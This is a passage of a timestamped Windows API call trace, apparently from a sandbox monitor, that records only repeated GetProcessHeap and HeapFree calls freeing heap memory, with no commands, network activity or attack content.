[0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0eee0 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f172a8 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11430 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f172b8 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14b90 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f172c8 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17688 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f172d8 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14b58 | out: hHeap=0x2ef0000) returned 1 [0145.625] GetProcessHeap () returned 0x2ef0000 [0145.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f172e8 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11458 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f172f8 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee98 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17308 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ae8 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17318 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14df8 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17328 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11480 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17338 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ffb8 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17348 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ffd8 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17358 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14dc0 | out: hHeap=0x2ef0000) returned 1 [0145.626] GetProcessHeap () returned 0x2ef0000 [0145.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17368 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f176b8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17378 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f122c8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17388 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f176e8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17398 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17718 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f173a8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17748 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f173b8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f114a8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f173c8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f114d0 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f173d8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f114f8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f173e8 | out: hHeap=0x2ef0000) returned 1 [0145.627] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f12308 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f173f8 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0fff8 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17408 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11520 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17418 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11548 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17428 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11570 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17438 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11598 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17448 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17778 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17458 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14d88 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17468 | out: hHeap=0x2ef0000) returned 1 [0145.628] GetProcessHeap () returned 0x2ef0000 [0145.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f177a8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17478 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f115c0 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17488 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14d50 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17498 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14d18 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f174a8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f12348 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f174b8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f115e8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f174c8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11610 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f174d8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10018 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f174e8 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10038 | out: hHeap=0x2ef0000) returned 1 [0145.629] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f174f8 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11638 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17508 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ed78 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17518 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11660 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17528 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10058 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17538 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11688 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17548 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ce0 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17558 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f12388 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.630] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17568 | out: hHeap=0x2ef0000) returned 1 [0145.630] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f116b0 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17578 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f116d8 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17588 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10078 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17598 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17dc8 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f177d8 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17dd8 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee20 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17de8 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10098 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17df8 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0145.631] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e08 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f100b8 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e18 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11750 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e28 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ed60 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e38 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f100d8 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e48 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e58 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e68 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f117a0 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e78 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17808 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e88 | out: hHeap=0x2ef0000) returned 1 [0145.632] GetProcessHeap () returned 0x2ef0000 [0145.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f100f8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17e98 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f117c8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17ea8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10118 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17eb8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123c8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17ec8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f117f0 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17ed8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11818 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17ee8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f181c8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17ef8 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f181f0 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f08 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18218 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f18 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10138 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f28 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18240 | out: hHeap=0x2ef0000) returned 1 [0145.633] GetProcessHeap () returned 0x2ef0000 [0145.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f38 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18268 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f48 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18290 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f58 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f68 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f182b8 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f78 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f182e0 | out: hHeap=0x2ef0000) returned 1 [0145.634] GetProcessHeap () returned 0x2ef0000 [0145.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f88 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10158 | out: hHeap=0x2ef0000) returned 1 [0145.678] 